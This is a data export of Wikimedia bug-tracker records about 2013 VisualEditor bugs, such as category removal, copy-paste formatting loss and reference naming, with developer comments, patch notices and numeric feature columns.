+**Severity**: major",High,80.0,1380324960,1380557959.0,PHID-USER-2mvmxqtefj5cyyzm7jks,False,,False,PHID-TASK-w6mmcf4y43jmqe4tziga,task_description,resolved,True,c1,3,False,False,True,12,,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,0
+265842,VisualEditor: Can't remove categories from 'Page Settings' modal in latest build,"Change 86674 merged by jenkins-bot:
+removedItems[i] is already an item, no need to pass removedItems[i].item
+
+https://gerrit.wikimedia.org/r/86674",,,1380557187,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-w6mmcf4y43jmqe4tziga,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+265838,VisualEditor: Can't remove categories from 'Page Settings' modal in latest build,"Change 86673 merged by jenkins-bot:
+removedItems[i] is already an item, no need to pass removedItems[i].item
+
+https://gerrit.wikimedia.org/r/86673",,,1380557130,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-w6mmcf4y43jmqe4tziga,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+265834,VisualEditor: Can't remove categories from 'Page Settings' modal in latest build,"Change 86674 had a related patch set uploaded by Jforrester:
+removedItems[i] is already an item, no need to pass removedItems[i].item
+
+https://gerrit.wikimedia.org/r/86674",,,1380556379,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-w6mmcf4y43jmqe4tziga,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+265830,VisualEditor: Can't remove categories from 'Page Settings' modal in latest build,"Change 86673 had a related patch set uploaded by Jforrester:
+removedItems[i] is already an item, no need to pass removedItems[i].item
+
+https://gerrit.wikimedia.org/r/86673",,,1380556359,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-w6mmcf4y43jmqe4tziga,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+265824,VisualEditor: Can't remove categories from 'Page Settings' modal in latest build,"Marking as ""FIXED""; have removed ""or change sort key"" from title per discussion with Inez.",,,1380481649,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-w6mmcf4y43jmqe4tziga,task_subcomment,,True,c1,3,True,,,12,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0
+265817,VisualEditor: Can't remove categories from 'Page Settings' modal in latest build,"Change 86341 merged by jenkins-bot:
+removedItems[i] is already an item, no need to pass removedItems[i].item
+
+https://gerrit.wikimedia.org/r/86341",,,1380474667,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-w6mmcf4y43jmqe4tziga,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+265813,VisualEditor: Can't remove categories from 'Page Settings' modal in latest build,"Change 86341 had a related patch set uploaded by Catrope:
+(bug 54727) item itself is an item, there is no need to try to pass item of that item
+
+https://gerrit.wikimedia.org/r/86341",,,1380474550,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-w6mmcf4y43jmqe4tziga,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,0,0,0,0
+265807,VisualEditor: Can't remove categories from 'Page Settings' modal in latest build,Bugfix for removal is waiting for review. Sortkey still not fixed - Trevor: Can you split it into separated bug?,,,1380327448,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-w6mmcf4y43jmqe4tziga,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
+265799,VisualEditor: Can't remove categories from 'Page Settings' modal in latest build,"Change 86341 had a related patch set uploaded by Inez:
+(bug 54727) item itself is an item, there is no need to try to pass item of that item
+
+https://gerrit.wikimedia.org/r/86341",,,1380326923,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-w6mmcf4y43jmqe4tziga,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,0,0,0,0
+265792,VisualEditor: Can't remove categories from 'Page Settings' modal in latest build,"Also just checked editing a sort key — that functionality is no longer working as well. You can enter text into the field and close the inspector, but when it is reopened the text is not retained.",,,1380325143,,PHID-USER-2mvmxqtefj5cyyzm7jks,False,,,PHID-TASK-w6mmcf4y43jmqe4tziga,task_subcomment,,True,c1,3,False,,,12,,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0
+56721,VisualEditor: Header formatting is stripped when copying (or cutting) and pasting inside a single article in Firefox,"Comparison of content
+
+I am on Mac OSX 10.8.5 on Firefox 24.0
+
+Steps to reproduce:
+
+1. Navigate to any article and open the VisualEditor (https://en.wikipedia.org/wiki/Kitten?veaction=edit)
+2. Copy any selection of text that has formatting (bold, italics, link, header, references)
+3. Paste the content elsewhere in the same VE document.
+4. You will see that all formatting has been stripped. See the attached file.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F12231}",High,80.0,1380310020,1380325542.0,PHID-USER-2mvmxqtefj5cyyzm7jks,False,,False,PHID-TASK-lj6h46r7rjyl6me5nb7h,task_description,resolved,True,c1,3,False,False,True,12,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,1
+265480,VisualEditor: Header formatting is stripped when copying (or cutting) and pasting inside a single article in Firefox,"Making this a new bug as it's actually present in all browsers and has been around for a while, unlike this one - bug 54728.",,,1380325542,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-lj6h46r7rjyl6me5nb7h,task_subcomment,,True,c1,3,True,,,12,,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+265475,VisualEditor: Header formatting is stripped when copying (or cutting) and pasting inside a single article in Firefox,"Oh, it is fixed!  But now I see a more minor issue:
+
+When I copy a portion of content beginning with a header, then paste it elsewhere in the same document, everything is retained  /except/ the header. However, if I begin before the header (the paragraph before the header, for example) the header is retained.
+
+For example, copy everything from 'Start' to 'Finish' on this test page: https://www.mediawiki.org/wiki/VisualEditor:Test1234567
+
+Everything is retained except the H2 formatting on 'Start'. See this screenshot as an example too: http://images.wikia.com/trevortest/images/5/54/Header_is_lost.png
+
+I can create a new ticket if you need me to, but I think this one may suffice with a name change.",,,1380318521,,PHID-USER-2mvmxqtefj5cyyzm7jks,False,,,PHID-TASK-lj6h46r7rjyl6me5nb7h,task_subcomment,,True,c1,3,False,,,12,,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,0
+265469,VisualEditor: Header formatting is stripped when copying (or cutting) and pasting inside a single article in Firefox,"Aha - yes, sorry, I *can* re-create this in wmf18 (en.wikipedia.org) but not wmf19 (mediawiki.org). I think we fixed this is in gerrit 85213, but closing as FIXED for now. If you can reproduce on MediaWiki.org (or master), please re-open.",,,1380311805,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-lj6h46r7rjyl6me5nb7h,task_subcomment,,True,c1,3,True,,,12,,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+56706,VisualEditor: Sometimes the edit link for VE does not appear,"Edit link for VE missing in automated test
+
+Seen on mw.o and test2wiki, with examples from automated tests and manual operations, but I do not have a consistent repro. 
+
+Seems to happen more frequently for Chrome than Firefox. 
+
+The lack of an edit link causes automated tests to fail from time to time.  I had thought it might be an artifact of the automation, but one of our candidates for VE QA also encountered the issue and conveniently provided a screen shot.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F12179}",High,80.0,1380295680,1408096458.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-22klbikg4fmxw7aotqvi,task_description,declined,True,c1,3,False,False,False,12,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0
+264484,VisualEditor: Sometimes the edit link for VE does not appear,No recent reports.,,,1408096458,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-22klbikg4fmxw7aotqvi,task_subcomment,,True,c1,3,True,,,58,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+264482,VisualEditor: Sometimes the edit link for VE does not appear,"Have you seen this issue recently? If not, this could probably be closed...",,,1408062252,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-22klbikg4fmxw7aotqvi,task_subcomment,,True,c1,3,True,,,58,,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0
+264480,VisualEditor: Sometimes the edit link for VE does not appear,*** Bug 60359 has been marked as a duplicate of this bug. ***,,,1397067449,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-22klbikg4fmxw7aotqvi,task_subcomment,,True,c1,3,True,,,40,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+264477,VisualEditor: Sometimes the edit link for VE does not appear,"probably worth a look but this might be WORKSFORME, I don't think we've encountered this issue in at least a month",,,1384870240,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-22klbikg4fmxw7aotqvi,task_subcomment,,True,c1,3,False,,,20,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,1,0
+264475,VisualEditor: Sometimes the edit link for VE does not appear,"Created attachment 13393
+Edit link for VE missing in manual operation
+
+**Attached**: {F12180}",,,1380295721,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-22klbikg4fmxw7aotqvi,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+56675,VisualEditor: Render lock when changing selection prevents inspectors' changes from rendering,"This is the root cause of bug 54335. Basically, you open the language inspector (or the link inspector, for that matter), make a change, then close the inspector by clicking elsewhere into the document (as opposed to by using the arrow or by pressing enter or escape in the link inspector's text input).
+
+Narrated call stack:
+* A mouseup event fires on the document
+* ve.ce.Surface.onDocumentMouseUp() starts the observer and polls
+* The observer notices that the selection has changed and emits a selectionChange event, which ends up invoking ve.ce.Surface.onSelectionChange
+* onSelectionChange sets a render lock and changes the model selection
+* ve.dm.Surface.change() emits a change event
+* ve.ui.Context.onChange() notices that the selection changed while an inspector was visible, so it closes the inspector
+* ve.ui.AnnotationInspector.onClose() saves the changes the user made to the model, by indirectly calling ve.dm.Surface.change()
+* (at this point, we have a change() call stack frame nested inside another change() frame, which is always a bad sign)
+* The transaction processed by onClose() annotates text, which causes an update event to be emitted
+* ve.ce.ContentBranchNode.onChildUpdate() responds to this event and calls renderContents()
+* renderContents() checks to see if the surface is locked for rendering; it is, so it bails and doesn't render the change
+
+When I briefly talked to Trevor about this issue, he said something about emitting an event asynchronously. I dismissed it at the time, because it would just move both problems (having to lock to prevent the model normalizing the selection / event storms, but having to not lock to allow inspector changes to render), but now I think about it I think it has merit. We could have ve.ui.Context.onChange() asynchronously close the inspector, from a setTimeout(). That would avoid the nested change() thing, and it would allow the render lock to be lifted before the inspector is closed.
+
+Alternatively, onSelectionChange could only lock against selection changes and still allow transactions. But the nested change() seems like a code smell anyway, the order of event handlers might get messed up for instance, and the caller would observe multiple changes from calling change() once (that's the root of the problem here).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1380244140,1382541648.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-ipv73kunpojcr76x2cb7,task_description,resolved,True,c1,3,False,False,False,12,,1,1,0,1,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,1,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,0,1,1,1,0,1,0,0,1,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+263009,VisualEditor: Render lock when changing selection prevents inspectors' changes from rendering,"Change 90957 merged by jenkins-bot:
+Defer selection-triggered updates in ve.ui.Context
+
+https://gerrit.wikimedia.org/r/90957",,,1382541620,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ipv73kunpojcr76x2cb7,task_subcomment,,True,c1,3,False,,,16,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+263005,VisualEditor: Render lock when changing selection prevents inspectors' changes from rendering,"Change 90957 had a related patch set uploaded by Catrope:
+Defer selection-triggered updates in ve.ui.Context
+
+https://gerrit.wikimedia.org/r/90957",,,1382383496,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ipv73kunpojcr76x2cb7,task_subcomment,,True,c1,3,False,,,16,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+263002,VisualEditor: Render lock when changing selection prevents inspectors' changes from rendering,"From #mediawiki-visualeditor IRC with RoanKattouw:
+
+* It seems wrong to implement click-out-to-close by detecting a selection change.
+* Should we bind to document mousedown instead? We need to avoid tripping over other mouse handling of course.
+
+Aside from this,
+
+* In general DM selection changes should emit something less drastic than 'change', because we don't want them to get back to the CE layer (which has a somewhat different set of possible cursor positions).
+* I (David) am currently working on a fairly big refactor of ve.ce.Surface will include this.",,,1380324587,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-ipv73kunpojcr76x2cb7,task_subcomment,,True,c1,3,False,,,12,,0,1,0,0,1,1,0,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,1,1,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,0
+56577,VisualEditor: Rendering of <source> MWExtensionNode is empty after the user edits it,"1. Create a page with <source lang=""JavaScript"">some content here</source>
+2. Edit the page in VE. Note that the <source> tag renders correctly
+3. Use the alien tag inspector to edit the contents of the <source> tag
+4. The <source> tag rerenders as an empty block
+
+This is because the HTML <source> tag is self-closing and cannot have any content. This leads to strange situations like:
+
+>>> extensionNode[0]
+<source lang=​""JavaScript"">​whee​</source>​
+>>> extensionNode[0].outerHTML
+""<source lang=""JavaScript""></source>""
+
+To avoid the HTML behavior for this and possibly other tag names, we should create an XML node rather than an HTML node to build the wikitext string for the preview.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=57429",High,80.0,1380066060,1386026779.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-k77k35tkwkjkzeravyd3,task_description,resolved,True,c1,3,False,False,False,12,,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+257051,VisualEditor: Rendering of <source> MWExtensionNode is empty after the user edits it,"Change 98392 merged by jenkins-bot:
+Render MW extension node wikitext with XML
+
+https://gerrit.wikimedia.org/r/98392",,,1385924792,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-k77k35tkwkjkzeravyd3,task_subcomment,,True,c1,3,False,,,21,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+257044,VisualEditor: Rendering of <source> MWExtensionNode is empty after the user edits it,"Change 98392 had a related patch set uploaded by Esanders:
+Render MW extension node wikitext with XML
+
+https://gerrit.wikimedia.org/r/98392",,,1385919115,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-k77k35tkwkjkzeravyd3,task_subcomment,,True,c1,3,False,,,21,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+56445,"[Regression] VisualEditor: Attribute name="":0"" inserted into <ref>","https://en.wikipedia.org/w/index.php?title=Daniel_Rowe_%28footballer%29&oldid=570278760&veaction=edit
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=54341",High,80.0,1379834280,1380836921.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-v44q2sk65tk423gk2wgc,task_description,resolved,True,c1,3,True,False,False,11,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+254458,"[Regression] VisualEditor: Attribute name="":0"" inserted into <ref>","Hey Roan :)
+I might be wrong, but I think it's still about name corruption (I think the user is complaining that he added or reused a reference, but after he saved the number in brackets was not pointing to the one he chose).
+Anyway, I'll contact the user to get more details, because it might also be not a bug at all. As I wrote elsewhere, I think it can be confusing that the name and the number of a reference do not match, although everything will still work as intended.
+See
+https://en.wikipedia.org/w/index.php?title=User%3AElitre_%28WMF%29%2FSandbox&diff=575128343&oldid=575128003
+(the reference #2 gets a ref name:3).",,,1381323957,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-v44q2sk65tk423gk2wgc,task_subcomment,,True,c1,3,False,,,14,,1,1,0,0,1,1,1,1,1,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,0,1,0,0,1,1,0,0,0,1,0,0,1,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,0,0,0,1,1,0,1,0,1,1,0,0
+254456,"[Regression] VisualEditor: Attribute name="":0"" inserted into <ref>","(In reply to comment #7)
+> Additional comments from Polish Wikipedia Kthaara:
+> 
+> ""Bug seems did not recognize references or not recognize their numbers. Ex.:
+> I
+> wrote some text in section about add-ons and need to make a reference to page
+> from Eve-community. I make one and VE, sure, did it, but aotomaticaly
+> redirects
+> to completely different reference, like: it make ref no. 50 and redirect it
+> to
+> no. 3 - which is different thing. After several tries I manage to get right
+> reference but it change another. In this moment I gave up."" 
+> 
+> And here is a diff:
+> https://pl.wikipedia.org/w/index.
+> php?title=Eve_Online&diff=37587971&oldid=37587957
+This looks like a similar bug, but it's not the same bug (the original report was about name corruption, not content corruption). Could you file a new bug for this?
+
+Additionally, an as detailed as possible explanation of what the user did to produce that diff (step-by-step instructions, if they remember) would be very helpful. It's theoretically possible for VE to produce that diff legitimately if the user did certain things, but I doubt that's what happened.",,,1381245792,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-v44q2sk65tk423gk2wgc,task_subcomment,,True,c1,3,False,,,14,,1,0,1,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,1,1,1,0,1,1,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,0,0,0,1
+254454,"[Regression] VisualEditor: Attribute name="":0"" inserted into <ref>","Additional comments from Polish Wikipedia Kthaara:
+
+""Bug seems did not recognize references or not recognize their numbers. Ex.: I wrote some text in section about add-ons and need to make a reference to page from Eve-community. I make one and VE, sure, did it, but aotomaticaly redirects to completely different reference, like: it make ref no. 50 and redirect it to no. 3 - which is different thing. After several tries I manage to get right reference but it change another. In this moment I gave up."" 
+
+And here is a diff: https://pl.wikipedia.org/w/index.php?title=Eve_Online&diff=37587971&oldid=37587957",,,1381244614,,PHID-USER-brn4v5ta45bnw4f5as3h,False,,,PHID-TASK-v44q2sk65tk423gk2wgc,task_subcomment,,True,c1,3,False,,,14,,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,1,0,0,1,1,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,0
+254452,"[Regression] VisualEditor: Attribute name="":0"" inserted into <ref>","This problem was also reported happening on Polish Wikipedia (PL.WP) by User:Kthaara (using VE on Win 7, Mozilla Firefox (latest version)).
+
+https://pl.wikipedia.org/wiki/Wikipedia:VisualEditor/Opinie#linki_i_przypisy 
+
+>> This bug appears when I edited Eve Online page:
+>> https://pl.wikipedia.org/wiki/Eve_Online",,,1381175418,,PHID-USER-brn4v5ta45bnw4f5as3h,False,,,PHID-TASK-v44q2sk65tk423gk2wgc,task_subcomment,,True,c1,3,False,,,14,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,1,1
+254448,"[Regression] VisualEditor: Attribute name="":0"" inserted into <ref>","I believe that this is the same as bug 54341 which was fixed last week and is live.
+
+*** This bug has been marked as a duplicate of bug 54341 ***",,,1380836921,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-v44q2sk65tk423gk2wgc,task_subcomment,,True,c1,3,True,,,13,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0
